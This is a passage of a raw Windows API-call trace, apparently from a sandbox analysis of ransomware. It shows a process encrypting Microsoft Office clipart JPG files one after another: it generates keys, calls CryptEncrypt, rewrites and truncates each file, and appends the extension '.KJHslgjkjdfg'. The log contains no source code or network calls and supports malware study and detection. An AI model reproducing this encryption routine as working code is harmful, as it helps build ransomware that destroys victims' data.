lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.731] GetProcessHeap () returned 0x990000 [0201.731] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.731] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.731] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.732] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x1, lpOverlapped=0x0) returned 1 [0201.733] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.733] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.733] GetProcessHeap () returned 0x990000 [0201.733] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.734] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.734] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.734] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.734] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.734] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.734] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.734] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.734] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.734] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.734] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.734] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.734] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3d7f, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3d7f, lpOverlapped=0x0) returned 1 [0201.735] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3d80, dwBufLen=0x3d80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3d80) returned 1 [0201.736] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.736] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3d80, lpOverlapped=0x0) returned 1 [0201.736] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.736] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.736] SetEndOfFile (hFile=0x130) returned 1 [0201.738] GetProcessHeap () returned 0x990000 [0201.738] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.738] GetProcessHeap () returned 0x990000 [0201.738] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.738] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg.kjhslgjkjdfg")) returned 1 [0201.739] CloseHandle (hObject=0x130) returned 1 [0201.740] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ec6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341738.JPG", cAlternateFileName="")) returned 1 [0201.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.741] GetProcessHeap () returned 0x990000 [0201.741] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.741] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.741] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.741] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0201.743] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.743] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.743] GetProcessHeap () returned 0x990000 [0201.743] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.743] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.743] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.743] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.743] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.743] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.743] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.743] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.743] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.743] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.743] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.743] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.743] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4ec6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4ec6, lpOverlapped=0x0) returned 1 [0201.744] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4ed0, dwBufLen=0x4ed0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4ed0) returned 1 [0201.744] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.744] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4ed0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4ed0, lpOverlapped=0x0) returned 1 [0201.744] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.744] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4fa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.745] SetEndOfFile (hFile=0x130) returned 1 [0201.747] GetProcessHeap () returned 0x990000 [0201.747] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.747] GetProcessHeap () returned 0x990000 [0201.747] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.747] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg.kjhslgjkjdfg")) returned 1 [0201.748] CloseHandle (hObject=0x130) returned 1 [0201.748] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x49ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341742.JPG", cAlternateFileName="")) returned 1 [0201.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.750] GetProcessHeap () returned 0x990000 [0201.750] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.750] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.750] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.750] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0201.751] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.751] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.751] GetProcessHeap () returned 0x990000 [0201.751] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.751] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.751] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.751] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.751] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.751] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.751] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.751] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.752] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.752] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.752] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.752] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.752] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x49ba, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x49ba, lpOverlapped=0x0) returned 1 [0201.753] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x49c0, dwBufLen=0x49c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x49c0) returned 1 [0201.753] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.753] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x49c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x49c0, lpOverlapped=0x0) returned 1 [0201.753] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.753] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4a94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.753] SetEndOfFile (hFile=0x130) returned 1 [0201.753] GetProcessHeap () returned 0x990000 [0201.753] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.753] GetProcessHeap () returned 0x990000 [0201.754] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.754] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg.kjhslgjkjdfg")) returned 1 [0201.755] CloseHandle (hObject=0x130) returned 1 [0201.755] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10bdc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382836.JPG", cAlternateFileName="")) returned 1 [0201.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.756] GetProcessHeap () returned 0x990000 [0201.756] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.756] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.756] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.756] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.758] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.758] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.758] GetProcessHeap () returned 0x990000 [0201.758] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.758] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.758] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.758] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.758] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.758] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.758] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.759] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.759] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.759] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.759] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x10bdc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x10bdc, lpOverlapped=0x0) returned 1 [0201.760] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x10be0, dwBufLen=0x10be0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x10be0) returned 1 [0201.761] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.761] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x10be0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x10be0, lpOverlapped=0x0) returned 1 [0201.761] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.761] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x10cb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.761] SetEndOfFile (hFile=0x130) returned 1 [0201.764] GetProcessHeap () returned 0x990000 [0201.764] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.764] GetProcessHeap () returned 0x990000 [0201.764] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.764] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg.kjhslgjkjdfg")) returned 1 [0201.765] CloseHandle (hObject=0x130) returned 1 [0201.765] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ce5a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382925.JPG", cAlternateFileName="")) returned 1 [0201.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.766] GetProcessHeap () returned 0x990000 [0201.766] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.766] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.766] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.766] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0201.768] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.768] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.768] GetProcessHeap () returned 0x990000 [0201.768] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.768] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.768] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.768] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, 